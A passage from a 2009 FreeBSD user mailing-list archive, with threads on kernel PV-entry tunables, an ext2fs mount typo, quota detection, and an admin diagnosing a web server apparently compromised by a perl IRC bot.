AhoBAINHk0qkD30E/2dsb2JhbAAI1gOEGgU Received: from bebif01.ulb.ac.be (HELO [10.0.0.194]) ([164.15.125.4]) by smtp.vub.ac.be with ESMTP; 25 Aug 2009 11:33:21 +0200 From: Julien Cigar To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=UTF-8 Date: Tue, 25 Aug 2009 11:37:00 +0200 Message-Id: <1251193020.2996.15.camel@frodon.be-bif.ulb.ac.be> Mime-Version: 1.0 X-Mailer: Evolution 2.22.3.1 Content-Transfer-Encoding: 8bit Subject: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 09:33:23 -0000 Hello, We have an HP Proliant DL380G5 with 4GB of RAM and FreeBSD 7.0 which runs PostgreSQL 8.3 for more than a year now. No problems, except that two days ago I noticed those messages in my kernel logs : "Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable." Since vm.pmap.shpgperproc and vm.pmap.pv_entry_max require a reboot I want to be sure that I put "good" values (for ex: I read that increasing too much vm.pmap.shpgperproc could result in a panic at boot time or later). I have the following in /boot/loader.conf : kern.ipc.semmni=1024 kern.ipc.semmns=16384 kern.ipc.semmnu=16384 vm.pmap.shpgperproc=225 vm.pmap.pv_entry_max=4134816 and the following in /etc/sysctl.conf : kern.ipc.shmall=262144 kern.ipc.shmmax=1073741824 kern.ipc.semmap=16384 kern.ipc.shm_use_phys=1 Do you think that those values for vm.pmap.pv_entry_max and vm.pmap.shpgperproc are OK ? Is it OK to increase vm.pmap.pv_entry_max as long as vm.kvm_free is not too low ? Thanks, Julien -- Julien Cigar Belgian Biodiversity Platform http://www.biodiversity.be Université Libre de Bruxelles (ULB) Campus de la Plaine CP 257 Bâtiment NO, Bureau 4 N4 115C (Niveau 4) Boulevard du Triomphe, entrée ULB 2 B-1050 Bruxelles Mail: jcigar@ulb.ac.be @biobel: http://biobel.biodiversity.be/person/show/471 Tel : 02 650 57 52 No trees were killed in the creation of this message. However, many electrons were terribly inconvenienced. From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 09:41:40 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E889D106568D for ; Tue, 25 Aug 2009 09:41:40 +0000 (UTC) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (tunnel490.ipv6.xs4all.nl [IPv6:2001:888:10:1ea::2]) by mx1.freebsd.org (Postfix) with ESMTP id 780EC8FC28 for ; Tue, 25 Aug 2009 09:41:40 +0000 (UTC) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.14.2/8.14.2) with ESMTP id n7P9fYtw005825; Tue, 25 Aug 2009 11:41:35 +0200 (CEST) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org (8.14.2/8.14.2/Submit) id n7P9fXPv005824; Tue, 25 Aug 2009 11:41:33 +0200 (CEST) (envelope-from mail25@bzerk.org) Date: Tue, 25 Aug 2009 11:41:33 +0200 From: Ruben de Groot To: Mike Bristow Message-ID: <20090825094133.GA5644@ei.bzerk.org> Mail-Followup-To: Ruben de Groot , Mike Bristow , Colin Brace , freebsd-questions@freebsd.org References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090825091937.GA53416@cheddar.urgle.com> User-Agent: Mutt/1.4.2.3i X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ei.bzerk.org X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0.1 (ei.bzerk.org [127.0.0.1]); Tue, 25 Aug 2009 11:41:39 +0200 (CEST) Cc: freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 09:41:41 -0000 On Tue, Aug 25, 2009 at 10:19:37AM +0100, Mike Bristow typed: > On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: > > Ok, here is what lsof tells me: > > > > $ sudo lsof | grep perl > > perl5.8.9 4272 www 3u IPv4 0xc33cf000 0t0 TCP > > gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) > > > > The last line would be appear to telling me something, but what? > > The script is talking to 94.102.51.57 on port 7000. At which port an IRC server is listening: > telnet 94.102.51.57 7000 Trying 94.102.51.57... Connected to 94.102.51.57. Escape character is '^]'. :sampson.dangerz.biz NOTICE AUTH :*** Looking up your hostname... :sampson.dangerz.biz NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead Ruben From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 09:48:19 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B437210656A4 for ; Tue, 25 Aug 2009 09:48:19 +0000 (UTC) (envelope-from stark@mapper.nl) Received: from smtp-out0.tiscali.nl (smtp-out0.tiscali.nl [195.241.79.175]) by mx1.freebsd.org (Postfix) with ESMTP id 4D3388FC24 for ; Tue, 25 Aug 2009 09:48:19 +0000 (UTC) Received: from [82.170.17.27] (helo=mapper.nl) by smtp-out0.tiscali.nl with esmtp (Exim) (envelope-from ) id 1MfsdV-0008Fs-U8; Tue, 25 Aug 2009 11:48:18 +0200 Received: from bowser ([192.168.0.1] helo=[0.0.0.0]) by mapper.nl with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MfsdT-0000LL-CE; Tue, 25 Aug 2009 11:48:15 +0200 Message-ID: <4A93B35E.4050408@mapper.nl> Date: Tue, 25 Aug 2009 11:48:14 +0200 From: Mark Stapper User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: Jeronimo Calvo References: In-Reply-To: X-Enigmail-Version: 0.96.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig2914449100E2225EA4156A22" Cc: freebsd-questions@freebsd.org Subject: Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 09:48:19 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig2914449100E2225EA4156A22 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Jeronimo Calvo wrote: > Hi folks, im migrating from Linux to BSD, and i found my first problem.= =2E. > First of all, i did save my /home from my old Linux distribution on ano= ther > HD, ext2fs partition /dev/ad6s1... I can correctly see the drive from > sysinstall. > > I read about compiling the KERNEL in order to add Ext2fs support under > Freebsd, wich I did... Adding the line: > > Quote: > options EXT2FS > looking like this: > > Quote: > options KBD_INSTALL_CDEV # install a CDEV entry in /dev > options ADAPTIVE_GIANT # Giant mutex is adaptive. > options STOP_NMI # Stop CPUS using NMI instead of IPI > options AUDIT # Security event auditing > #options KDTRACE_FRAME # Ensure frames are compiled in > *options EXT2FS* > #options KDTRACE_HOOKS # Kernel DTrace hooks > After this i recompiled the kernel and installed... > > Quote: > # uname -a > FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 UTC 200= 9 > iscariote@:/usr/obj/usr/src/sys/MYKERNEL amd64 > Well... everything should be ready now to mount my ext2fs partition... = Using > the following command... > > Quote: > # mount > /dev/ad8s1a on / (ufs, local) > devfs on /dev (devfs, local) > /dev/ad8s1e on /tmp (ufs, local, soft-updates) > /dev/ad8s1f on /usr (ufs, local, soft-updates) > /dev/ad8s1d on /var (ufs, local, soft-updates) > /dev/ntfs/DATOSWIN on /media/DATOSWIN (ntfs, local, nosuid) > # mount -t extfs2 /dev/ad6s1 /ext2 > mount: /dev/ad6s1 : Operation not supported by device > > I tried several times, with not luck, one of those times i was able to = mount > it, but not to access it, when i tried to cd /ext2 (folder when is moun= ted) > system tells me that ext2 is not a folder... > > any ideas??? > > Thanks in advance!! > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd= =2Eorg" > =20 besides, I think it's ext2fs, not extfs2... Typo? greetz, Mark --------------enig2914449100E2225EA4156A22 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkqTs18ACgkQN9xNqOOVnWDA2ACglSUa//V2JQl9mssutHcDwn6L MHAAoI3kQ96KKJXOjeF32VM8XeLBHpjx =EIZm -----END PGP SIGNATURE----- --------------enig2914449100E2225EA4156A22-- From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 10:04:36 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C383B10656D8 for ; Tue, 25 Aug 2009 10:04:36 +0000 (UTC) (envelope-from bounces@nabble.com) Received: from kuber.nabble.com (kuber.nabble.com [216.139.236.158]) by mx1.freebsd.org (Postfix) with ESMTP id 9BD2B8FC1C for ; Tue, 25 Aug 2009 10:04:36 +0000 (UTC) Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1Mfst2-0007WN-FT for freebsd-questions@freebsd.org; Tue, 25 Aug 2009 03:04:20 -0700 Message-ID: <25131646.post@talk.nabble.com> Date: Tue, 25 Aug 2009 03:04:10 -0700 (PDT) From: Colin Brace To: freebsd-questions@freebsd.org In-Reply-To: <20090825091937.GA53416@cheddar.urgle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: cb@lim.nl References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 10:04:36 -0000 Mike Bristow wrote: > > On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: >> Ok, here is what lsof tells me: >> >> $ sudo lsof | grep perl >> perl5.8.9 4272 www 3u IPv4 0xc33cf000 0t0 TCP >> gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) >> >> The last line would be appear to telling me something, but what? > > The script is talking to 94.102.51.57 on port 7000. > > Other useful things: > > ps ajxwwww > will tell you the parent process of the script: this looks like > it may be a (fast?)CGI script; if so then the parent would be the > web server. > > It may also show the name of the script (but beware: the script > can change that) which would be usefull to know. > >> After 24 hour since rebooting, this perl instance is still crunching >> away... > > Is it the same instance of the script, or a new copy each time? > That is, does the PID change? If so, that points to a CGI; if not it > points to a fastCGI - or something else. > I have disabled both CGI and fastCGI in lighttpd.conf, restart the webserver, but the script keeps popping up. Now I notice something interesting: $ ps aux | grep www www 116 100.0 0.7 5864 3588 ?? R 11:53AM 8:10.33 /usr/bin/web/httpd (perl5.8.9) www 113 0.0 0.0 0 0 ?? Z 11:53AM 0:00.18 This file doesn't exist on my system. Am I correct in assuming that my system has been hacked and I am running an IRC server or something? Thanks. ----- Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25131646.html Sent from the freebsd-questions mailing list archive at Nabble.com. From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 10:05:44 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9950B1065692 for ; Tue, 25 Aug 2009 10:05:44 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id 1669D8FC12 for ; Tue, 25 Aug 2009 10:05:43 +0000 (UTC) Received: by bwz2 with SMTP id 2so1853663bwz.43 for ; Tue, 25 Aug 2009 03:05:43 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=BIu3SL9wmbq4ABLk5Gchq3nwoTSFNcEBcdgYilvXhJA=; b=JNz0bfYS4UaGKCaHeZJtl/gkUnrHa6mDwGwXWieD+dtHb2F0aGbB4hFWyBWs9caeT3 bo5Ft1/DEnNPS+4vOm8FWaH6dbKDw0ACZrwavdeHr1tPxfdyRTXVGuxJhW1TZA8+U3jb 7ZFaJ9SlJrsS/1yYj7pdXZSWrnRtxlKLOJu3I= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=knw8jk7TbnZc4caK4+rCa7W7MrlzJeTa0843u/rIMJDmaJVgD35VESAKoOlGkF2RNo bSLLCu2vYTZs+4z3WFayldOQXU1L/whcjGq0Ttvt+mf8Xf52kNmIOnMIuLC3xlWNV7q8 fGRpOQtpEzMIx1iw/0Gpze7y54RHkwLbZvzA8= MIME-Version: 1.0 Received: by 10.103.50.32 with SMTP id c32mr2563649muk.1.1251194742988; Tue, 25 Aug 2009 03:05:42 -0700 (PDT) In-Reply-To: <4A93B2C3.5040004@mapper.nl> References: <4A93B2C3.5040004@mapper.nl> Date: Tue, 25 Aug 2009 11:05:42 +0100 Message-ID: From: Jeronimo Calvo To: Mark Stapper Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 10:05:44 -0000 Actually, im just compile it and restart it... seems to be working fine now... By the way... who do i do that?? is that necessary? cheers! 2009/8/25 Mark Stapper > Jeronimo Calvo wrote: > > Hi folks, im migrating from Linux to BSD, and i found my first problem... > > First of all, i did save my /home from my old Linux distribution on > another > > HD, ext2fs partition /dev/ad6s1... I can correctly see the drive from > > sysinstall. > > > > I read about compiling the KERNEL in order to add Ext2fs support under > > Freebsd, wich I did... Adding the line: > > > > Quote: > > options EXT2FS > > looking like this: > > > > Quote: > > options KBD_INSTALL_CDEV # install a CDEV entry in /dev > > options ADAPTIVE_GIANT # Giant mutex is adaptive. > > options STOP_NMI # Stop CPUS using NMI instead of IPI > > options AUDIT # Security event auditing > > #options KDTRACE_FRAME # Ensure frames are compiled in > > *options EXT2FS* > > #options KDTRACE_HOOKS # Kernel DTrace hooks > > After this i recompiled the kernel and installed... > > > > Quote: > > # uname -a > > FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 UTC 2009 > > iscariote@:/usr/obj/usr/src/sys/MYKERNEL amd64 > > Well... everything should be ready now to mount my ext2fs partition... > Using > > the following command... > > > > Quote: > > # mount > > /dev/ad8s1a on / (ufs, local) > > devfs on /dev (devfs, local) > > /dev/ad8s1e on /tmp (ufs, local, soft-updates) > > /dev/ad8s1f on /usr (ufs, local, soft-updates) > > /dev/ad8s1d on /var (ufs, local, soft-updates) > > /dev/ntfs/DATOSWIN on /media/DATOSWIN (ntfs, local, nosuid) > > # mount -t extfs2 /dev/ad6s1 /ext2 > > mount: /dev/ad6s1 : Operation not supported by device > > > > I tried several times, with not luck, one of those times i was able to > mount > > it, but not to access it, when i tried to cd /ext2 (folder when is > mounted) > > system tells me that ext2 is not a folder... > > > > any ideas??? > > > > Thanks in advance!! > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > > > Did you recompile world as well? > You might also want to install sysutils/e2fsprogs. > I have not done this myself yet though... > Hope it helps. > Mark > > From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 10:27:39 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C3548106568D for ; Tue, 25 Aug 2009 10:27:39 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 2E2E28FC52 for ; Tue, 25 Aug 2009 10:27:37 +0000 (UTC) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id n7PAQgeZ017647 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 25 Aug 2009 17:26:42 +0700 (ICT) (envelope-from on@cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.3/8.14.3/Submit) id n7PARZBt009994; Tue, 25 Aug 2009 17:27:35 +0700 (ICT) (envelope-from on) Date: Tue, 25 Aug 2009 17:27:35 +0700 (ICT) Message-Id: <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> From: Olivier Nicole To: cb@lim.nl In-reply-to: <25131646.post@talk.nabble.com> (message from Colin Brace on Tue, 25 Aug 2009 03:04:10 -0700 (PDT)) References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Cc: freebsd-questions@freebsd.org Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 10:27:39 -0000 Hi Colin, > Am I correct in assuming that my system has been hacked and I am running an > IRC server or something? IRC client at least. And yes, I would think that your system has been compromised. Good luck, Olivier From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 10:47:09 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 945FC106568D for ; Tue, 25 Aug 2009 10:47:09 +0000 (UTC) (envelope-from bounces@nabble.com) Received: from kuber.nabble.com (kuber.nabble.com [216.139.236.158]) by mx1.freebsd.org (Postfix) with ESMTP id 6B8168FC21 for ; Tue, 25 Aug 2009 10:47:09 +0000 (UTC) Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1MftYD-0000Dg-RB for freebsd-questions@freebsd.org; Tue, 25 Aug 2009 03:46:53 -0700 Message-ID: <25132123.post@talk.nabble.com> Date: Tue, 25 Aug 2009 03:46:43 -0700 (PDT) From: Colin Brace To: freebsd-questions@freebsd.org In-Reply-To: <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: cb@lim.nl References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 10:47:09 -0000 Olivier Nicole wrote: > >> Am I correct in assuming that my system has been hacked and I am running >> an >> IRC server or something? > > IRC client at least. And yes, I would think that your system has been > compromised. > Thanks Olivier. I am currently killing the process with the following bash command while I decide what to do next: $ while x=1 ; do sudo killall -9 perl5.8.9 && echo "killed..." ; sleep 15; done I suppose this calls for a "bare-metal" reinstall. Is it worth first trying to determine how my system was broken into? ----- Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25132123.html Sent from the freebsd-questions mailing list archive at Nabble.com. From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 10:53:18 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 365EA106568C for ; Tue, 25 Aug 2009 10:53:16 +0000 (UTC) (envelope-from miklosovic.freebsd@gmail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id B55C38FC22 for ; Tue, 25 Aug 2009 10:53:15 +0000 (UTC) Received: by bwz2 with SMTP id 2so1876108bwz.43 for ; Tue, 25 Aug 2009 03:53:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=miwFyGcxLC6SSDAUBL/ulWnzIohYVNxaOk67eIyRv4s=; b=wiiofQ1YQVXtF4xI3Wbgq6U79JB0wnzQ8Ee+tDzIZdLg64u4WDM2TAyfHbiRQVZIc/ iNiOtIoyxgeIHgoqNpc7Sr9jhmDCvDsuJRe0igfpcx/SuIyb1IogyIlit2sRUL4oWHTS YEAhTznFQ4A1OorUc8G9ODkvKMst3DuHJVJm8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=G49/9qamtbPtDTGstwOX2eepg9aJdWyYdzMd1tyyVw+m1COa9QlZpvDiXCru27c+z3 vz5WIyc3KKMO/JsU5aIiIvZaeb3kuzmDgWrgJUMF7nu/iUyi2jVan0VsziG56h/XPzln 3B+g5FopKpcWLE1a9HdeTKW+MPPeSrJsgDIpQ= MIME-Version: 1.0 Received: by 10.103.125.18 with SMTP id c18mr2553517mun.71.1251197594501; Tue, 25 Aug 2009 03:53:14 -0700 (PDT) Date: Tue, 25 Aug 2009 12:53:12 +0200 Message-ID: From: Stefan Miklosovic To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: how to decide if disk / system is quotas capable X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 10:53:18 -0000 hi, I am writing a script in which I want to decide if disk / system is capable to set quotas for user / groups. how to check it? I am thinking about 1) checking enable_quotas="YES" in /etc/rc.conf 2) should I try to look in /etc/fstab? There is userquota and / or groupquota in line for some disk device in option field. 3) should I test existence of quota.user and quota.group in filesystem root? which method would be the best one? thank you for time From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 10:59:17 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7BBFF1065691 for ; Tue, 25 Aug 2009 10:59:17 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id F2E658FC29 for ; Tue, 25 Aug 2009 10:59:16 +0000 (UTC) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id n7PAwMg0019322 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 25 Aug 2009 17:58:22 +0700 (ICT) (envelope-from on@cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.3/8.14.3/Submit) id n7PAxEFo010968; Tue, 25 Aug 2009 17:59:14 +0700 (ICT) (envelope-from on) Date: Tue, 25 Aug 2009 17:59:14 +0700 (ICT) Message-Id: <200908251059.n7PAxEFo010968@banyan.cs.ait.ac.th> From: Olivier Nicole To: cb@lim.nl In-reply-to: <25132123.post@talk.nabble.com> (message from Colin Brace on Tue, 25 Aug 2009 03:46:43 -0700 (PDT)) References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Cc: freebsd-questions@freebsd.org Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 10:59:17 -0000 Colin, > I suppose this calls for a "bare-metal" reinstall. > Is it worth first trying to determine how my system was broken into? It really depends on: - what is installed on that machine (how long it would take to reinstall, how many softwares, ports, specially configured stuff). - how important is is that you keep the machine running (like the only web server generating all the revenue for your company vs. your home mail server that is being used for you and your household). If you can afford to take the system down for enough time to reinstall it from scratch, it is the best: you will know 100% that you did not forget some backdoor somewhere, you make install updated software, you may implement those fancy changes that you have always wanted to implement, but that you would not do because you were afraid of breaking a working server. In any case, it is a good exercise to try to find out how you were broken into: security hole in the OS or some port, hopefully an upgrade will close them, a security hole in some home made script? If you re-install that script on your new server without closing the holes, the new server will be vulnerable too, and soon compromised. It may also be good to dig from the log and try to find who has been reaching your infected server: it happened to me (third party software installed by an outside contractor), from the log I contacted all the people that I could locate upstream, about 5 to 10% of them where not aware that they had been infected too... Trying to understand how you get compromised is a good way to gain deeper knowledge about your system. Best regards, Olivier From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 11:02:37 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7EBE9106568E for ; Tue, 25 Aug 2009 11:02:37 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 04D968FC0C for ; Tue, 25 Aug 2009 11:02:36 +0000 (UTC) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id n7PB1gQa019758 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 25 Aug 2009 18:01:42 +0700 (ICT) (envelope-from on@cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.3/8.14.3/Submit) id n7PB2ZT3011025; Tue, 25 Aug 2009 18:02:35 +0700 (ICT) (envelope-from on) Date: Tue, 25 Aug 2009 18:02:35 +0700 (ICT) Message-Id: <200908251102.n7PB2ZT3011025@banyan.cs.ait.ac.th> From: Olivier Nicole To: miklosovic.freebsd@gmail.com In-reply-to: (message from Stefan Miklosovic on Tue, 25 Aug 2009 12:53:12 +0200) References: X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Cc: freebsd-questions@freebsd.org Subject: Re: how to decide if disk / system is quotas capable X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 11:02:37 -0000 Hi, > 1) checking enable_quotas="YES" in /etc/rc.conf > 2) should I try to look in /etc/fstab? There is userquota and / or > groupquota in line for some disk device in option field. That is enough. 1) will tell 